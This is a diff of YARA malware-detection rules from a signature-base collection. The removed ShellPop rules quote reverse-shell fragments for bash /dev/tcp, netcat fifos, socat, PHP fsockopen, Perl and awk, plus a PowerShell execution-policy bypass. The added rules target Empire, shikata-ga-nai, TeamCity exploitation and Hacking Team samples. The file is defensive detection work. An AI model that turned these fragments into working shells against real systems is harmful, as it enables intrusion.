-		score = 65
+		reference = "https://github.com/PowerShellEmpire/Empire"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_powershell_empire.yar#L172-L188"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a914cb227f652734a91d3d39745ceeacaef7a8b5e89c1beedfd6d5f9b4615a1d"
+		logic_hash = "7179a22eec8eb9e59bf590e671e6849d5b960c58eb8fa591bc3b340d64f1d076"
+		score = 70
 		quality = 85
 		tags = "FILE"
-		hash1 = "6b425b37f3520fd8c778928cc160134a293db0ce6d691e56a27894354b04f783"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = ");while(cmd=c.gets);IO.popen(cmd,'r'){" ascii
+		$s1 = "(credID, credType, domainName, userName, password, host, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0]" fullword ascii
+		$s2 = "script += \";'Invoke-Wmi executed on \" +computerNames +\"'\"" fullword ascii
+		$s3 = "script = \"$PSPassword = \\\"\"+password+\"\\\" | ConvertTo-SecureString -asPlainText -Force;$Credential = New-Object System.Man" ascii
 
 	condition:
-		filesize <1KB and all of them
+		filesize <20KB and 2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_Shellpop_Awk : FILE
+rule SIGNATURE_BASE_Hunting_Rule_Shikataganai
 {
 	meta:
-		description = "Detects suspicious AWK Shellpop"
-		author = "Tobias Michalski"
-		id = "92d1e6dd-d758-5df2-b5e5-eb275964551d"
-		date = "2018-05-18"
+		description = "No description has been set in the source file - Signature Base"
+		author = "Steven Miller"
+		id = "fe266a42-0480-5a98-9368-8a18aa5e4f69"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/0x00-0x00/ShellPop"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L4265-L4278"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7d676ffbd1ce083a1b8e34576125fb0805caef4423089cd72a92483467669b78"
-		score = 65
+		reference = "https://www.fireeye.com/blog/threat-research/2019/10/shikata-ga-nai-encoder-still-going-strong.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_shikataganai.yar#L1-L22"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "733522cb1d61f4bbb300d73ff21d9d7d10a78aae06e03408fce4b88e4c51f662"
+		score = 50
 		quality = 85
-		tags = "FILE"
-		hash1 = "7513a0a0ba786b0e22a9a7413491b4011f60af11253c596fa6857fb92a6736fc"
+		tags = ""
+		company = "FireEye"
 
 	strings:
-		$s1 = "awk 'BEGIN {s = \"/inet/tcp/0/" ascii
-		$s2 = "; while(42) " ascii
+		$varInitializeAndXorCondition1_XorEAX = { B8 ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] ( 59 | 5A | 5B | 5C | 5D | 5E | 5F ) [0-50] 31 ( 40 | 41 | 42 | 43 | 45 | 46 | 47 ) ?? }
+		$varInitializeAndXorCondition1_XorEBP = { BD ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] ( 58 | 59 | 5A | 5B | 5C | 5E | 5F ) [0-50] 31 ( 68 | 69 | 6A | 6B | 6D | 6E | 6F ) ?? }
+		$varInitializeAndXorCondition1_XorEBX = { BB ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] ( 58 | 59 | 5A | 5C | 5D | 5E | 5F ) [0-50] 31 ( 58 | 59 | 5A | 5B | 5D | 5E | 5F ) ?? }
+		$varInitializeAndXorCondition1_XorECX = { B9 ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] ( 58 | 5A | 5B | 5C | 5D | 5E | 5F ) [0-50] 31 ( 48 | 49 | 4A | 4B | 4D | 4E | 4F ) ?? }
+		$varInitializeAndXorCondition1_XorEDI = { BF ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] ( 58 | 59 | 5A | 5B | 5C | 5D | 5E ) [0-50] 31 ( 78 | 79 | 7A | 7B | 7D | 7E | 7F ) ?? }
+		$varInitializeAndXorCondition1_XorEDX = { BA ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] ( 58 | 59 | 5B | 5C | 5D | 5E | 5F ) [0-50] 31 ( 50 | 51 | 52 | 53 | 55 | 56 | 57 ) ?? }
+		$varInitializeAndXorCondition2_XorEAX = { D9 74 24 F4 [0-30] B8 ?? ?? ?? ?? [0-10] ( 59 | 5A | 5B | 5C | 5D | 5E | 5F ) [0-50] 31 ( 40 | 41 | 42 | 43 | 45 | 46 | 47 ) ?? }
+		$varInitializeAndXorCondition2_XorEBP = { D9 74 24 F4 [0-30] BD ?? ?? ?? ?? [0-10] ( 58 | 59 | 5A | 5B | 5C | 5E | 5F ) [0-50] 31 ( 68 | 69 | 6A | 6B | 6D | 6E | 6F ) ?? }
+		$varInitializeAndXorCondition2_XorEBX = { D9 74 24 F4 [0-30] BB ?? ?? ?? ?? [0-10] ( 58 | 59 | 5A | 5C | 5D | 5E | 5F ) [0-50] 31 ( 58 | 59 | 5A | 5B | 5D | 5E | 5F ) ?? }
+		$varInitializeAndXorCondition2_XorECX = { D9 74 24 F4 [0-30] B9 ?? ?? ?? ?? [0-10] ( 58 | 5A | 5B | 5C | 5D | 5E | 5F ) [0-50] 31 ( 48 | 49 | 4A | 4B | 4D | 4E | 4F ) ?? }
+		$varInitializeAndXorCondition2_XorEDI = { D9 74 24 F4 [0-30] BF ?? ?? ?? ?? [0-10] ( 58 | 59 | 5A | 5B | 5C | 5D | 5E ) [0-50] 31 ( 78 | 79 | 7A | 7B | 7D | 7E | 7F ) ?? }
+		$varInitializeAndXorCondition2_XorEDX = { D9 74 24 F4 [0-30] BA ?? ?? ?? ?? [0-10] ( 58 | 59 | 5B | 5C | 5D | 5E | 5F ) [0-50] 31 ( 50 | 51 | 52 | 53 | 55 | 56 | 57 ) ?? }
 
 	condition:
-		filesize <1KB and 1 of them
+		any of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_Shellpop_Netcat_UDP : FILE
+rule SIGNATURE_BASE_LOG_EXPL_SUSP_Teamcity_CVE_2023_42793_Oct23_1 : CVE_2023_42793
 {
 	meta:
-		description = "Detects suspicious netcat popshell"
-		author = "Tobias Michalski"
-		id = "67aa53b6-00bc-5d2e-b6f3-37e9121cdd01"
-		date = "2018-05-18"
+		description = "Detects log entries that could indicate a successful exploitation of CVE-2023-42793 on TeamCity servers"
+		author = "Florian Roth"
+		id = "81c04863-72aa-5515-889e-3ef718360cac"
+		date = "2023-10-02"
 		modified = "2023-12-05"
-		reference = "https://github.com/0x00-0x00/ShellPop"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L4280-L4293"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0c85b1275ccf5bbc7f6e0ab0f1fa9d1bce7d56912411f84f9946163191c79576"
-		score = 65
+		reference = "https://attackerkb.com/topics/1XEEEkGHzt/cve-2023-42793/rapid7-analysis"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_teamcity_2023_42793.yar#L2-L18"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3b6c8e3e3ff91563899ca94904a56460cd702a3e58e0aacf1c3acb506ec3f959"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		hash1 = "d823ad91b315c25893ce8627af285bcf4e161f9bbf7c070ee2565545084e88be"
+		tags = "CVE-2023-42793"
 
 	strings:
-		$s1 = "mkfifo fifo ; nc.traditional -u" ascii
-		$s2 = "< fifo | { bash -i; } > fifo" fullword ascii
+		$sa1 = "File edited: "
+		$sa2 = "\\TeamCity\\config\\internal.properties by user with id="
+		$sb1 = "s.buildServer.ACTIVITIES.AUDIT - server_file_change: File "
+		$sb2 = "\\TeamCity\\config\\internal.properties was modified by \"user with id"
 
 	condition:
-		filesize <1KB and 1 of them
+		all of ($sa*) or all of ($sb*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_Shellpop_Socat : FILE
+rule SIGNATURE_BASE_LOG_EXPL_SUSP_Teamcity_Oct23_1
 {
 	meta:
-		description = "Detects suspicious socat popshell"
-		author = "Tobias Michalski"
-		id = "23c331ba-217c-5b17-b45e-d553eea76a56"
-		date = "2018-05-18"
+		description = "Detects log entries that could indicate a successful exploitation of TeamCity servers"
+		author = "Florian Roth"
+		id = "4845b40a-cf77-53ae-b2fa-d1ed861153f2"
+		date = "2023-10-02"
 		modified = "2023-12-05"
-		reference = "https://github.com/0x00-0x00/ShellPop"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L4295-L4308"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "48c06096b27be11ae12cc38294acb495b739101cabc04e89eb76e93fb42c52df"
-		score = 65
+		reference = "https://attackerkb.com/topics/1XEEEkGHzt/cve-2023-42793/rapid7-analysis"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_teamcity_2023_42793.yar#L20-L34"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a2f0abffb9c72e6b32875310e5af7365b6cab4e6c4f6188daa3085b57c38ed0e"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		hash1 = "267f69858a5490efb236628260b275ad4bbfeebf4a83fab8776e333ca706a6a0"
+		tags = ""
 
 	strings:
-		$s1 = "socat tcp-connect" ascii
-		$s2 = ",pty,stderr,setsid,sigint,sane" ascii
+		$a1 = "tbrains.buildServer.ACTIVITIES"
+		$s1 = "External process is launched by user user with id"
+		$s2 = ". Command line: cmd.exe \"/c whoami"
 
 	condition:
-		filesize <1KB and 2 of them
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_Shellpop_Perl : FILE
+rule SIGNATURE_BASE_Bin_Ndisk : FILE
 {
 	meta:
-		description = "Detects Shellpop Perl script"
-		author = "Tobias Michalski"
-		id = "d597d213-a70b-5412-adde-791b4d498848"
-		date = "2018-05-18"
+		description = "Hacking Team Disclosure Sample - file ndisk.sys"
+		author = "Florian Roth (Nextron Systems)"
+		id = "f442315e-67c2-55a5-954e-8e7e48aa1243"
+		date = "2015-07-07"
 		modified = "2023-12-05"
-		reference = "https://github.com/0x00-0x00/ShellPop"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L4310-L4323"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8f3c5920acdc080b437c15b93e192a00a5037be0323cc04473e238033b7d53ec"
-		score = 75
+		reference = "https://www.virustotal.com/en/file/a03a6ed90b89945a992a8c69f716ec3c743fa1d958426f4c50378cca5bef0a01/analysis/1436184181/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hackingteam_rules.yar#L10-L31"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "cf5089752ba51ae827971272a5b761a4ab0acd84"
+		logic_hash = "d93147e9631065eab35cbbc4ce112cfef92f81063cf8570bc021fbfe72811ab6"
+		score = 100
 		quality = 85
 		tags = "FILE"
-		hash1 = "32c3e287969398a070adaad9b819ee9228174c9cb318d230331d33cda51314eb"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = "perl -e 'use IO::Socket::INET;$|=1;my ($s,$r);" ascii
-		$ = ";STDIN->fdopen(\\$c,r);$~->fdopen(\\$c,w);s" ascii
+		$s1 = "\\Registry\\Machine\\System\\ControlSet00%d\\services\\ndisk.sys" fullword wide
+		$s2 = "\\Registry\\Machine\\System\\ControlSet00%d\\Enum\\Root\\LEGACY_NDISK.SYS" fullword wide
+		$s3 = "\\Driver\\DeepFrz" wide
+		$s4 = "Microsoft Kernel Disk Manager" fullword wide
+		$s5 = "ndisk.sys" fullword wide
+		$s6 = "\\Device\\MSH4DEV1" wide
+		$s7 = "\\DosDevices\\MSH4DEV1" wide
+		$s8 = "built by: WinDDK" fullword wide
 
 	condition:
-		filesize <2KB and 1 of them
+		uint16(0)==0x5a4d and filesize <30KB and 6 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_Shellpop_Python : FILE
+rule SIGNATURE_BASE_Hackingteam_Elevator_DLL : FILE
 {
 	meta:
-		description = "Detects malicious python shell"
-		author = "Tobias Michalski"
-		id = "62fe0ae9-422e-5021-8a67-e88ff4bd2cf3"
-		date = "2018-05-18"
+		description = "Hacking Team Disclosure Sample - file elevator.dll"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d479c675-b200-56e3-8976-f70b45ea791e"
+		date = "2015-07-07"
 		modified = "2023-12-05"
-		reference = "https://github.com/0x00-0x00/ShellPop"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L4325-L4337"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e4c35bb739eeabf0de558ee1b97225ed4eb3198e7e6db1817348115b848146c7"
-		score = 75
+		reference = "http://t.co/EG0qtVcKLh"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hackingteam_rules.yar#L33-L56"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b7ec5d36ca702cc9690ac7279fd4fea28d8bd060"
+		logic_hash = "f2860c0bb6176f7cc57cb703e9d4235c4cf0b9cc1c0e7c47fb4c8ba47155a616"
+		score = 70
 		quality = 85
 		tags = "FILE"
-		hash1 = "aee1c9e45a1edb5e462522e266256f68313e2ff5956a55f0a84f33bc6baa980b"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = "os.putenv('HISTFILE', '/dev/null');" ascii
+		$s1 = "\\sysnative\\CI.dll" ascii
+		$s2 = "setx TOR_CONTROL_PASSWORD" fullword ascii
+		$s3 = "mitmproxy0" fullword ascii
+		$s4 = "\\insert_cert.exe" ascii
+		$s5 = "elevator.dll" fullword ascii
+		$s6 = "CRTDLL.DLL" fullword ascii
+		$s7 = "fail adding cert" fullword ascii
+		$s8 = "DownloadingFile" fullword ascii
+		$s9 = "fail adding cert: %s" fullword ascii
+		$s10 = "InternetOpenA fail" fullword ascii
 
 	condition:
-		filesize <2KB and 1 of them
+		uint16(0)==0x5a4d and filesize <1000KB and 6 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_Shellpop_PHP_TCP : FILE
+rule SIGNATURE_BASE_Hackingteam_Elevator_EXE : FILE
 {
 	meta:
-		description = "Detects malicious PHP shell"
-		author = "Tobias Michalski"
-		id = "3bafc225-62e5-5183-84aa-9c3406b6c444"
-		date = "2018-05-18"
+		description = "Hacking Team Disclosure Sample - file elevator.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "a68b68dd-372d-5572-a1e7-1b7e06e986d8"
+		date = "2015-07-07"
 		modified = "2023-12-05"
-		reference = "https://github.com/0x00-0x00/ShellPop"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L4339-L4352"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8ffab71130b4fa6efbe9864f97c33fed9359f79d51b84e8f952c911f24d1496c"
-		score = 75
-		quality = 85
+		reference = "Hacking Team Disclosure elevator.c"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hackingteam_rules.yar#L58-L86"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "9261693b67b6e379ad0e57598602712b8508998c0cb012ca23139212ae0009a1"
+		logic_hash = "58f3c28fa69da0329a4cd5451a86260056076a9d0094965e9c23a63ef72cfc98"
+		score = 70
+		quality = 81
 		tags = "FILE"
-		hash1 = "0412e1ab9c672abecb3979a401f67d35a4a830c65f34bdee3f87e87d060f0290"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "40a10420b9d49f87527bc0396b19ec29e55e9109e80b52456891243791671c1c"
+		hash2 = "92aec56a859679917dffa44bd4ffeb5a8b2ee2894c689abbbcbe07842ec56b8d"
 
 	strings:
-		$x1 = "php -r \"\\$sock=fsockopen" ascii
-		$x2 = ";exec('/bin/sh -i <&3 >&3 2>&3');\"" ascii
+		$x1 = "CRTDLL.DLL" fullword ascii
+		$x2 = "\\sysnative\\CI.dll" ascii
+		$x3 = "\\SystemRoot\\system32\\CI.dll" ascii
+		$x4 = "C:\\\\Windows\\\\Sysnative\\\\ntoskrnl.exe" fullword ascii
+		$s1 = "[*] traversing processes" fullword ascii
+		$s2 = "_getkprocess" fullword ascii
+		$s3 = "[*] LoaderConfig %p" fullword ascii
+		$s4 = "loader.obj" fullword ascii
+		$s5 = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3" ascii
+		$s6 = "[*] token restore" fullword ascii
+		$s7 = "elevator.obj" fullword ascii
+		$s8 = "_getexport" fullword ascii
 
 	condition:
-		filesize <3KB and all of them
+		uint16(0)==0x5a4d and filesize <3000KB and all of ($x*) and 3 of ($s*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_Shellpop_Powershell_TCP : FILE
+rule SIGNATURE_BASE_Waterbear_1_Jun17 : FILE
 {
 	meta:
-		description = "Detects malicious powershell"
-		author = "Tobias Michalski"
-		id = "4f3a92db-f686-559a-9588-fb79f423c51f"
-		date = "2018-05-18"
+		description = "Detects malware from Operation Waterbear"
+		author = "Florian Roth (Nextron Systems)"
+		id = "2202506a-6009-5321-a8b2-df3bff51d06f"
+		date = "2017-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/0x00-0x00/ShellPop"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L4354-L4367"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8eb484ba87fa2e10af3c59445ccb4be73db2f5ae67c59118a2e188ba02fdc957"
+		reference = "https://goo.gl/L9g9eR"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_waterbear.yar#L11-L25"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f1d5bd0c9f85dd90217bdbd7e44100bcfbf77839f83416ad17121713c189b9fd"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "8328806700696ffe8cc37a0b81a67a6e9c86bb416364805b8aceaee5db17333f"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "dd3676f478ee6f814077a12302d38426760b0701bb629f413f7bf2ec71319db5"
 
 	strings:
-		$ = "Something went wrong with execution of command on the target" ascii
-		$ = ";[byte[]]$bytes = 0..65535|%{0};$sendbytes =" ascii
+		$s1 = "\\Release\\svc.pdb" ascii
+		$s2 = "svc.dll" fullword ascii
 
 	condition:
-		filesize <3KB and 1 of them
+		( uint16(0)==0x5a4d and filesize <100KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_SUSP_Powershell_Shellcommand_May18_1 : FILE
+rule SIGNATURE_BASE_Waterbear_2_Jun17 : FILE
 {
 	meta:
-		description = "Detects a supcicious powershell commandline"
-		author = "Tobias Michalski"
-		id = "efa81fd0-b764-5a1a-98a5-fc3135be220b"
-		date = "2018-05-18"
+		description = "Detects malware from Operation Waterbear"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d3178f01-90a8-5a82-9c95-40bf8e9b567f"
+		date = "2017-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/0x00-0x00/ShellPop"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L4369-L4382"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "bc858d74b8aad09ff539489e961e1a51ba5fe17d3424615ffe5029587ddb9478"
-		score = 65
+		reference = "https://goo.gl/L9g9eR"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_waterbear.yar#L27-L43"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ec0b8d7313f925adafb7f03c8b7fd12c0176b75c74c642eeee900e911e0662a7"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "8328806700696ffe8cc37a0b81a67a6e9c86bb416364805b8aceaee5db17333f"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "dcb5c350af76c590002a8ea00b01d862b4d89cccbec3908bfe92fdf25eaa6ea4"
 
 	strings:
-		$x1 = "powershell -nop -ep bypass -Command" ascii
+		$s1 = "downloading movie" fullword ascii
+		$s2 = "name=\"test.exe\"/>" fullword ascii
+		$s3 = "<description>Test Application</description>" fullword ascii
+		$s4 = "UI look 2003" fullword wide
 
 	condition:
-		filesize <3KB and 1 of them
+		( uint16(0)==0x5a4d and filesize <1000KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_Shellpop_Telnet_TCP : FILE
+rule SIGNATURE_BASE_Waterbear_4_Jun17 : FILE
 {
 	meta:
-		description = "Detects malicious telnet shell"
-		author = "Tobias Michalski"
-		id = "dbd5cc65-c6f1-54f3-813f-7a7f9bcca184"
-		date = "2018-05-18"
+		description = "Detects malware from Operation Waterbear"
+		author = "Florian Roth (Nextron Systems)"
+		id = "c7941f92-12ee-5d57-b58e-c8caf74ca6ba"
+		date = "2017-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/0x00-0x00/ShellPop"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L4384-L4397"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e900fb8c0f1fa61f242b97ac542cb1bfd691dd50523e0023e97e3b21617053d7"
+		reference = "https://goo.gl/L9g9eR"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_waterbear.yar#L45-L68"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "46c43dbdcbc183995a8cd00c9888afcdd3adb9f3caf38ed42a0af1e7df39715f"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "cf5232bae0364606361adafab32f19cf56764a9d3aef94890dda9f7fcd684a0e"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "2e9cb7cadb3478edc9ef714ca4ddebb45e99d35386480e12792950f8a7a766e1"
 
 	strings:
-		$x1 = "if [ -e /tmp/f ]; then rm /tmp/f;" ascii
-		$x2 = "0</tmp/f|/bin/bash 1>/tmp/f" fullword ascii
+		$x1 = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" fullword ascii
+		$s1 = "Wininet.dll InternetOpenA InternetConnectA HttpOpenRequestA HttpSendRequestA HttpQueryInfoA InternetReadFile InternetCloseHandle" fullword ascii
+		$s2 = "read from pipe:%s" fullword ascii
+		$s3 = "delete pipe" fullword ascii
+		$s4 = "cmdcommand:%s" fullword ascii
+		$s5 = "%s /c del %s" fullword ascii
+		$s6 = "10.0.0.250" fullword ascii
+		$s7 = "Vista/2008" fullword ascii
+		$s8 = "%02X%02X%02X%02X%02X%02X%04X" fullword ascii
+		$s9 = "UNKOWN" fullword ascii
 
 	condition:
-		filesize <3KB and 1 of them
+		( uint16(0)==0x5a4d and filesize <300KB and 3 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_SUSP_Shellpop_Bash
+rule SIGNATURE_BASE_Waterbear_5_Jun17 : FILE
 {
 	meta:
-		description = "Detects susupicious bash command"
-		author = "Tobias Michalski"
-		id = "ea9c2491-8b25-5ba4-9968-22a45d6e6491"
-		date = "2018-05-18"
-		modified = "2023-12-05"
-		reference = "https://github.com/0x00-0x00/ShellPop"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L4399-L4411"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "31633e84ecc1885d041f36399bb5b10915f6371a37d2995f369eb8c0294f1596"
-		score = 65
+		description = "Detects malware from Operation Waterbear"
+		author = "Florian Roth (Nextron Systems)"
+		id = "f92fe6d5-0afa-50a1-bdcf-c6dd78aa6809"
+		date = "2017-06-23"
+		modified = "2023-01-07"
+		reference = "https://goo.gl/L9g9eR"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_waterbear.yar#L70-L90"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a1572db08242fffadedbfb89f3652b2eb93c910f3b61f9db0622bc18d069827c"
+		score = 75
 		quality = 85
-		tags = ""
-		hash1 = "36fad575a8bc459d0c2e3ad626e97d5cf4f5f8bedc56b3cc27dd2f7d88ed889b"
+		tags = "FILE"
+		hash1 = "d3678cd9744b3aedeba23a03a178be5b82d5f8059a86f816007789a9dd06dc7d"
 
 	strings:
-		$ = "/bin/bash -i >& /dev/tcp/" ascii
+		$a1 = "ICESWORD" fullword ascii
+		$a2 = "klog.dat" fullword ascii
+		$s1 = "\\cswbse.dll" ascii
+		$s2 = "WIRESHARK" fullword ascii
+		$s3 = "default_zz|" fullword ascii
+		$s4 = "%c4%u-%.2u-%.2u %.2u:%.2u" fullword ascii
+		$s5 = "1111%c%s" fullword ascii
 
 	condition:
-		1 of them
+		( uint16(0)==0x3d53 and filesize <100KB and ( all of ($a*) or 3 of them ))
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_Shellpop_Netcat : FILE
+rule SIGNATURE_BASE_Waterbear_6_Jun17 : FILE
 {
 	meta:
-		description = "Detects suspcious netcat shellpop"
-		author = "Tobias Michalski"
-		id = "cd55e912-b57b-5fce-98eb-5a0cd27a6e4d"
-		date = "2018-05-18"
+		description = "Detects malware from Operation Waterbear"
+		author = "Florian Roth (Nextron Systems)"
+		id = "86d203be-2d3a-54f2-b851-9080d5be36f5"
+		date = "2017-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/0x00-0x00/ShellPop"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L4413-L4428"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2c61da27d4bc455a9f2555fcc1c5cce7cead226a5900eeed1aaf622616051b79"
+		reference = "https://goo.gl/L9g9eR"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_waterbear.yar#L92-L106"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "af5c2a29e0a62c54e706492ae85b9786a6d9e5f42fe4d9c43693576e1a63b825"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "98e3324f4c096bb1e5533114249a9e5c43c7913afa3070488b16d5b209e015ee"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
